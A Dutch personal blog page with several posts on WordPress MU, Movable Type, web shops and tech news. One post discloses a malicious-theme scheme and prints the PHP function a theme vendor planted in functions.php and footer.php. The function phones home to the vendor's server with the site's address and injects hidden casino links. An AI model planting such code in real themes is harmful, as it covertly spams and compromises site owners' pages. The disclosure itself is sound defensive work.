Een jaar ervaring met WordPress MU

Najaar 2008 maakte ik voor het eerst kennis met WordPress MU, na ruim een jaar wordt het tijd om mijn ervaringen op een rijtje te zetten.

WordPress MU… wat is dat?

Even uitleggen: WordPress (wordpress.org) is een open-source pakket waarmee je weblogs en niet al te ingewikkelde websites kunt maken. WordPress MU (mu.wordpress.org) is in feite hetzelfde, maar met het verschil dat je het maar één keer hoeft te installeren om meerdere websites op te zetten. MU (spreek uit mjoe) staat dan ook voor multi-use.

Themes (om je WordPress-site een eigen smoel te geven) en plugins (extra snufjes) hoef je maar één keer te installeren. Per website kun je beslissen deze wel of niet te activeren. Elke WordPress MU-website draait naar keuze op een eigen subdomein (sitenaam.laterna.nl), of in een submap (laterna.nl/sitenaam).

Het ei van Columbus voor wie meerdere WordPress-websites beheert? Soms wel, soms niet. Hieronder mijn bevindingen.

Voordelen van WordPress MU?

Uniformiteit in beheer
Zoals gezegd hoef je bij WordPress MU alle themes en plugins maar één keer te installeren. Dus zodra een nieuwe versie van een plugin verschijnt, hoef je die maar eenmalig bij te werken. Dat scheelt veel werk als je heel veel websites beheert. Zeker als het gaat om een security-upgrade is het belangrijk om snel om te kunnen schakelen naar een veilige nieuwe versie.

Meertalige websites
WordPress MU is handig bij het opzetten van een meertalige website. Voor elke taal maak je een nieuwe website aan. Bouw in de layout een taalswitch in en je bent al een heel eind op streek.

Backups
WordPress MU stopt de data van alle websites in één en dezelfde MySQL-database. Je hoeft dus maar één database te backuppen. Maak je een nieuwe website aan op dezelfde WPMU-installatie? Als je eenmaal hebt gezorgd voor een goede backupprocedure, dan wordt de nieuwe website automatisch meegenomen.

OTAP
Complexe websites worden vaak volgens het OTAP-stappenplan opgezet (Ontwikkeling, Test, Acceptatie, Productie), of een vereenvoudigde versie daarvan, bijvoorbeeld alleen Test en Productie. In WordPress MU kun je voor elk van deze stappen een aparte website aanmaken. Zodra een stap is afgerond, kun je de website overkopiëren naar de volgende website. Alle websites draaien echter op dezelfde server, waardoor je minder snel voor verrassingen komt te staan als een website live gaat.

Aggregatie
Heb je een hele serie weblogs onder WordPress MU en wil je een voorpagina maken met een overzicht van de laatste blogberichten, of een tagcloud van alle blogs? Er bestaan diverse plugins die dit voor je kunnen doen, zoals AHP Sitewide Recent Posts for WPMU en WordPress MU Sitewide Tags Pages. Een voorbeeld van zo’n totaaloverzicht zie je op weblogs.nos.nl en www.blogo.nl.

Geavanceerde rechtenstructuur
Bij WordPress werd al onderscheid gemaakt tussen auteurs en beheerders, maar bij WordPress MU gaat de rechtenstructuur nog een stap verder. Je hebt daar beheerders voor de hele WordPress MU-installatie en ook beheerders per afzonderlijke site, of combinatie daarvan. Gebruikers kunnen zowel redacteur als beheerder zijn, of zelfs redacteur van de ene site en beheerder van de andere site. Je hoeft maar één keer je wachtwoord te wijzigen en de wijziging geldt voor alle websites.

En de nadelen van WordPress MU?

Tot zover allemaal goed nieuws. Afgelopen jaar heb ik ook een aantal minpunten van WordPress MU ondervonden.

Beperkte compatibiliteit
Het overgrote deel van alle WordPress-plugins en themes is gemaakt voor de klassieke WordPress-versie. De meeste draaien ook wel op WordPress MU, maar soms vraagt het wat extra programmeerinspanning om een plugin of theme ook daar goed te laten werken. Het is me ook zelf overkomen: je koopt voor 75 dollar een mooi WordPress-theme, bij installatie blijkt die niet geschikt voor WPMU, maar dat stond niet op de site toen ik dat theme kocht.

Downtime bij upgraden
Is er een belangrijke nieuwe WordPress-versie verschenen? Bij WPMU hoef je maar één installatie te upgraden. Maar dat is tegelijkertijd ook een nadeel: mocht de upgrade niet vlekkeloos verlopen (bijvoorbeeld omdat een van de plugins niet compatibel is met de nieuwe versie), dan zijn álle websites op die installatie uit de lucht totdat jij het probleem hopelijk hebt opgelost.

Grotere kwetsbaarheid
Ook hacks brengen grotere risico’s met zich mee bij WordPress MU. Zoals gezegd maken alle websites gebruik van dezelfde MySQL-database. Als een WPMU-installatie is gekraakt, dan kunnen álle websites verloren gaan.

Niet up-to-date
WordPress MU is gebaseerd op de programmeercode van WordPress. Zodra een beveiligingslek wordt gevonden, verschijnt een nieuwe versie van WordPress. Daarna duurt het meestal een paar dagen, of zelfs nog langer, voordat ook WordPress MU eindelijk is bijgewerkt.
Uiteraard heb ik er begrip voor dat open-source software grotendeels vrijwilligerswerk is en dat veel ontwikkelaars dit naast hun reguliere baan doen. Toch zit deze vertraging in het updaten van WPMU mij niet lekker. Voor hackers is het immers een kleine moeite om een script te schrijven dat internet afzoekt naar WordPress MU-websites die nog niet up-to-date zijn. Als het dagen duurt voordat een WPMU-site weer veilig is, dan hebben ze zeeën van tijd om toe te slaan.

Subdomeinen en submappen
Zoals gezegd kun je bij de installatie van WordPress MU kiezen of een website een subdomein (sitenaam.laterna.nl) of een submap (laterna.nl/sitenaam) moet worden van het hoofddomein. Die keuze kun je maar één keer maken. Het is wel mogelijk om later alsnog te switchen van het een naar het ander, maar dat is bepaald niet eenvoudig en de benodigde stappen worden bij mijn weten nergens op de officiële website uitgelegd (wel op particuliere blogs). Doorgaans wordt aangeraden om in deze situatie alles opnieuw te installeren.
Verder heeft WordPress MU nog een onhebbelijkheid: hij laat standaard www. in het adres van het hoofddomein weg. Mijn website heeft daardoor een jaar lang laterna.nl als adres gehad, in plaats van www.laterna.nl.
Nu maakte dat in de praktijk niet zo gek veel uit: je werd van www.laterna.nl automatisch doorgelinkt naar laterna.nl. En ook hier kun je met enig kunst- en vliegwerk het www. wel weer terugkrijgen in het adres. Toch raakt dit bij mij een principieel punt: ik wil dit soort dingen zélf beslissen. Waarom moet WPMU per se afwijken van de conventie dat alle webadressen met www beginnen?

Conflicten met andere toepassingen
Zodra je op een Linux-server kiest voor installatie van WordPress MU op subdomeinen, dan kunnen er complicaties optreden. Afhankelijk van hoe je de DNS hebt gewijzigd, kunnen bestaande subdomeinen opeens niet meer werken, bijvoorbeeld webmail.laterna.nl. Dit is allemaal wel op te lossen, maar het rechtzetten van DNS-settings is tijdrovend omdat sommige wijzigingen pas na enkele uren effect hebben.
Als je geen toegang hebt tot je eigen DNS, dan is mijn advies: installeer WPMU-websites als submappen, niet als subdomeinen – het kan je een heleboel rompslomp schelen.

Kortom?

Het is niet mijn bedoeling om WordPress MU hier af te kraken – alleen maar om de plussen en minnen in kaart te brengen.

Voor mij persoonlijk is WPMU niet de juiste oplossing gebleken. Ik beheer maar een handjevol weblogs en ben tot de conclusie gekomen dat WordPress MU in mijn situatie meer overhead oplevert dan bespaart. Inmiddels ben ik weer teruggegaan naar afzonderlijke WP-installaties.

Toch zijn er situaties waar WPMU wel degelijk een goede oplossing is. Ik denk dan aan een combinatie van de volgende omstandigheden:

  • schaal: je hebt te maken met meer dan pakweg 5 WordPress-websites
  • uniformiteit: alle websites hebben grote overeenkomsten in vormgeving en functionaliteit, zodat het beheer van themes en plugins overzichtelijk blijft
  • heldere taakverdeling: je werkt met meerdere mensen en kunt de taken van admin en author goed scheiden

Ook denk ik dat WordPress MU hogere eisen stelt aan de rol van beheerder:

  • technische kennis: Linux, DNS, PHP, MySQL-databases, zelf kunnen sleutelen aan themes en plugins (mochten deze niet goed werken in WPMU)
  • beschikbaarheid: in geval van beveiligingsincidenten moet de admin snel kunnen ingrijpen en tijdens zijn vakantie moet er altijd een plaatsvervanger zijn

Kan jouw organisatie of team voldoen aan deze voorwaarden? Ga dan gerust aan de slag met WordPress MU, bij verantwoord gebruik zul je er veel plezier van hebben.

En anders: denk er nog eens goed over na. Misschien is dan de klassieke versie van WordPress nog zo gek niet – ook al moet je die voor elke website apart installeren.

Drupalcon Paris 2009

In de eerste week van september vond in Parijs de halfjaarlijkse Drupal-conferentie plaats. Zonder meer een inspirerend evenement! In deze blogpost een overzicht van de sessies die ik heb bijgewoond, inclusief links naar beeldmateriaal.
Read more

De nieuwe internetgeneratie: wel googelen, niet schrijven

“Een correcte zin schrijven, een foutloze brief of leesbare notulen: steeds meer Nederlanders kunnen het niet meer. Natuurlijk zijn wij blij als cursisten zich melden om bijgespijkerd te worden. Dat is ook omzet. Maar of je als samenleving blij moet zijn met een internetgeneratie die wel kan googelen maar niet kan schrijven, kun je je afvragen.”

Aldus Aukje Bergsma, voorzitter van de Vereniging Taleninstituten Nederland (VTN) in de Volkskrant.

BNR 2.0 bespaart u de onzin – en de kritische reacties

(update 10 oktober: BNR heeft de kritische reacties weer teruggezet)

Business Nieuws Radio was altijd een leuke zender om naar uit te wijken als het op zich uitstekende Radio 1 een net iets te lang praatprogramma uitzond. Maar sinds deze week niet meer. BNR heeft een vreselijke facelift ondergaan en noemt zichzelf nu BNR 2.0.

Planet-columnist Arjan Dasselaar veegt er de vloer mee aan en hekelt onder meer de weblog van BNR-directeur Paul van Gessel:

Maar de reacties op datzelfde blog zijn heel duidelijk: de nieuwe programmering is zowel qua vorm als inhoud een achteruitgang.

Maar als je op deze link klikt, dan zijn er helemaal geen reacties. Hoe kan dat? Even zoeken in de Google-cache en inderdaad: gisteren waren die reacties er nog wel. En zelfs een heleboel reacties, en nog behoorlijk kritisch ook.

Nu niet meer, want BNR heeft al die kritische reacties simpelweg verwijderd. En dan te bedenken dat de BNR-slogan is: BNR bespaart u de onzin.

Omdat alle reacties nu nog wel via de Google-cache zijn terug te vinden, maar over een paar dagen misschien niet meer, heb ik ze hieronder even geknipt en geplakt. Kunt u zelf nog eens nalezen wat de bezoekers ervan vonden.

Read more

Templatesbrowser.com en de blogosfeer

Het blijft altijd weer curieus hoe nieuws zich verspreidt over de hele wereld. Zo’n drie maanden ontdekte Onno’s Follow That Page een rare link in mijn site en had ik na drie kwartier speuren en puzzelen genoeg bewijsmateriaal verzameld om de boosdoener aan te wijzen: de website Templatesbrowser.com verspreidt kwaadaardige WordPress-themes.

Een enorme beveiligingsinbreuk, maar het door Onno vertaalde bericht werd totaal niet opgepikt door de blogosfeer, ook niet na berichtjes op Digg en eKudos. Nu toch wel: in juni kwamen Joomla-gebruikers erachter dat Templatesbrowser.com niet te vertrouwen is en via deze omweg begint nu ook eindelijk de WordPress-wereld wakker te worden, lees bijvoorbeeld dit en dit. Ook een nieuw berichtje op Digg krijgt volle aandacht: WARNING! WordPress & Joomla; your theme might have malicious code. Is het het woordje WARNING waardoor internetters er nu wel aandacht aan besteden?

Moderne slavernij bij Google

Gelezen in de Automatisering Gids:

Werknemers hebben vaak geen vaste werkplek en zeker geen eigen kantoor; veel bureaus staan zelfs in gangen opgesteld. Daarnaast is het gebruikelijk lange dagen te maken. In principe wordt men geacht toch zeker tot 12 uur ’s avonds op e-mail te reageren, en het is niet ongebruikelijk om nachten door te werken.

Volgens het verslag lijkt de bedrijfscultuur bij Google sterk op het leven op een studentencampus, net als bij Microsoft in de begindagen. Het bedrijf heeft veel jonge mensen in dienst die zich bijna laten leven door het bedrijf. Dat gaat zo ver dat Google twee keer per week schone T-shirts laat aanrukken. Verder serveert het bedrijf drie keer per dag maaltijden, wat volgens de sollicitant zeker een gunstig effect heeft op de uren die mensen op kantoor maken.

Kortom: Google geeft je eten en kleren, en voor de rest moet je van ’s ochtends vroeg tot ’s avonds laat doorwerken. En toch staat het in alle geschiedenisboekjes: de slavernij in de VS is in 1863 afgeschaft.

Verborgen linkspam van Templatesbrowser.com in WordPress-weblogs

Vorige maand roemde ik op deze plek de duizenden gratis WordPress-themes die je kunt downloaden om je weblog op te tuigen. Maar pas op: dankzij broer Onno en zijn onvolprezen dienst Follow That Page ontdekte ik vanmiddag dat sommige themes ook iets anders doen: verborgen links toevoegen naar casino-, hotel- en andere sites – kortom linkspam. En dit is de site die daarvoor verantwoordelijk is: www.templatesbrowser.com/wordpress-themes/.

Hoe werkt Templatesbrowser.com?
Op deze site kun je meer dan honderd gratis WordPress-themes downloaden. Deze themes zijn weer afkomstig van andere sites, maar uit de tien willekeurige themes die ik heb gedownload blijkt dat er is een sneaky stukje PHP-code toegevoegd aan het bestand functions.php:

function credits()
{
$url = “http://get.templatesbrowser.com/wp.php?” .
“url=” . urlencode($_SERVER['REQUEST_URI']) . “&” . “host=” . urlencode($_SERVER['HTTP_HOST']);
$check = @fsockopen(”get.templatesbrowser.com”, 80, $errno, $errstr, 3);
if($check)
{
@readfile($url);
fclose($check);
}
}

Voor wie geen PHP kent: deze functie legt contact met get.templatesbrowser.com en geeft daarbij het adres van je eigen site mee. Bijvoorbeeld:

http://get.templatesbrowser.com/wp.php?url=%2F&host=www.laterna.nl

In mijn geval geeft de server de volgende code terug:

<div id=”copyl” style=”display: none;”><a href=”http://www.casinotropez.com/trcpromo-nincs-online-pmail18-fr”>casino en ligne</a></div>

Dit is de HTML-code van een link naar een site die ik niet ken en waar ik ook niets mee te maken wil hebben. Dankzij de CSS-toevoeging ‘display: none’ is die onzichtbaar opgemaakt. Deze code wordt onderaan elke WordPress-pagina toegevoegd. Dat gebeurt in het bestand footer.php:

<?php credits(); wp_footer(); ?>

Het geniepige is dat het contact met templatesbrowser.com alleen lijkt te werken vanuit een WordPress-weblog. Als ik bovenstaand webadres zelf invul in mijn browser, dan wordt er geen HTML-code teruggegeven.

Ook merk ik dat het uitmaakt op welk adres je weblog staat. Als ik urlencode($_SERVER['HTTP_HOST']) simpelweg vervang door www.google.com of www.startpagina.nl, dan wordt er geen verborgen link teruggegeven, maar helemaal niets, of iets onschuldigs als

<!– T-B –>

Ook zit er een random element in: als je op F5 drukt, verandert soms de code.

Een hogere PageRank?
Templatesbrowser.com doet dit klaarblijkelijk om sommige sites een hogere PageRank te bezorgen. Toch lijkt het me niet waarschijnlijk dat Google erin trapt. De manier waarop de link onzichtbaar is gemaakt (style=”display: none;”) is simpelweg té doorzichtig. Maar als Google inderdaad doorheeft dat het hier linkspam betreft, dan loopt de eigenaar van de weblog het risico om hiervoor gestraft te worden. Door de aard van PHP (een server-side scriptingtaal waarvan Google alleen de uitvoer ziet, niet de bron) is niet zichtbaar dat de betreffende HTML door een heel andere site wordt gegenereerd.

Het risico?
Uit het bovenstaande blijkt dat het downloaden van een WordPress-theme een zeker beveiligingsrisico inhoudt. Zoals gezegd bestaat zo’n theme niet alleen uit CSS-opmaak, maar ook uit extra PHP-code. Welke WordPress-gebruiker neemt de moeite om die meegeleverde PHP-code regel voor regel uit te vlooien alvorens een theme te installeren? PHP kan bovendien veel ernstiger dingen doen dan alleen maar een verborgen link in je site stoppen.

Al met al vind ik dit toch wel een belangrijk minpunt van WordPress. Voor zover ik kan nagaan, is het in Movable Type niet mogelijk om malicieuze code te stoppen in een template. Al met al lijkt de architectuur van WordPress meer op flexibiliteit gericht, minder op beveiliging.

Ziek door de informatiesamenleving

E-mails, telefoontjes en voicemails – ze maken ons alleen maar dommer. De psychiater Dr. Edward Hallowell heeft zelfs een nieuwe ziekte benoemd, die vooral in het bedrijfsleven welig tiert: ADT, ofwel Attention Deficit Trait. De symptomen:

When people find that they’re not working to their full potential; when they know that they could be producing more but in fact they’re producing less; when they know they’re smarter than their output shows; when they start answering questions in ways that are more superficial, more hurried than they usually would; when their reservoir of new ideas starts to run dry; when they find themselves working ever-longer hours and sleeping less, exercising less, spending free time with friends less and in general putting in more hours but getting less production overall.

En verderop:

It’s the great seduction of the information age. You can create the illusion of doing work and of being productive and creative when you’re not. You’re just treading water.

Meer bij News.com. En lees ook dit interview op Computerworld, waar hij enkele simpele remedies voorstelt. Zoals 25 jumping jacks, oftewel in de lucht springen met gespreide benen. Ha, dat wordt nog gezellig in de personeelskantine.

WordPress vs. Movable Type: de vergelijking

Zoals vorige maand beloofd zal ik hier mijn eerste ervaringen posten met het weblogsysteem WordPress. Ik zal die gelijk afzetten tegen concurrent Movable Type, dat ik al vier jaar gebruik, met name voor Tweevoeter. Ga er maar even voor zitten, want dit wordt een lang verhaal. Read more

Een open-source webwinkel selecteren

Een vraag van een zakelijke relatie enkele dagen geleden: ik wil een winkel op mijn website, maar welk systeem moet ik kiezen? Zijn er geschikte open-source webwinkelsystemen, of ben ik er veel geld aan kwijt?

Met webwinkels heb ik nauwelijks ervaring, dus een pasklaar antwoord kan ik niet geven – wel een paar criteria bij de selectieprocedure. Net vanochtend lees ik op de site ECommerce-Guide een korte bespreking van Five Free Open Source Shopping Carts: osCommerce, Zen Shopping Cart, Agora Shopping Cart, NoPCart en Commerce.Cgi.

De enthousiaste conclusie: ook voor commerciële activiteiten op internet kun je prima volstaan met open-source oplossingen. Dat klinkt leuk, maar een voor Nederlandse websites belangrijke vraag wordt er niet in beantwoord, namelijk: zijn deze winkelwagensystemen ook beschikbaar in andere talen dan Engels?

In Nederland heb je bovendien te maken met specifieke wettelijke bepalingen, zoals de Wet koop op afstand. Of deze pakketten daaraan (kunnen) voldoen, wordt eveneens niet direct duidelijk.

Dan maar alle vijf uitproberen? Dat hoeft gelukkig niet. Als je op de namen van deze winkelsystemen zoekt binnen het Nederlandse deel van internet, dan valt direct op dat NoPCart bij ons totaal onbekend is. Zen Shopping Cart en Commerce.Cgi worden al wat vaker gebruikt, maar het populairst bij ons blijken Agora Shopping Cart en osCommerce.

Agora Shopping Cart heeft als groot voordeel dat het standaard is opgenomen in Fantastico, een verzameling van enkele tientallen gratis programma’s waarover je vaak gratis kunt beschikken bij hostingprovider die cPanel aanbieden als beheersinterface voor hun klanten. Alle Fantastico-programma’s, dus ook Agora, zijn met slechts een paar muisklikken te installeren via het cPanel-menu. Dat is handig voor onervaren webmasters.

Op mij maakt osCommerce de beste indruk, want deze oplossing heeft een Nederlandse gebruikersgroep, de osCommerce Nederland. Dan is er in ieder geval ondersteuning in Nederland, en met de Nederlandse vertaling en de wettelijke randvoorwaarden zal het vermoedelijk ook wel oké zijn.

Een volgend selectiecriterium: hoe moeten de klanten betalen? Kunnen ze dat bijvoorbeeld ook met iDeal doen, een veelbelovend betaalsysteem dat volgens een recente peiling op www.computertotaal.nl al door 40 procent van de Nederlandse internetgebruikers wordt gebruikt? Daar is snel achter te komen met een handige zoekactie, bijvoorbeeld oscommerce ideal.

En een laatste criterium: zijn deze pakketten te integreren in open-source contentmanagementsystemen (Joomla, Typo3, Textpattern) en weblogs (WordPress, Movable Type)? Ook dit is een kwestie van handig googelen. En anders kun je altijd nog de betreffende website uitpluizen, de lijst van features goed bekijken en het supportforum doornemen.

Wat ik maar wil zeggen: aan de hand van een paar praktische criteria is het enorme aanbod van open-source oplossingen in een kwartiertje tijd snel uit te dunnen tot een of twee kansrijke kandidaten. De volgende stap: downloaden en gewoon maar uitproberen.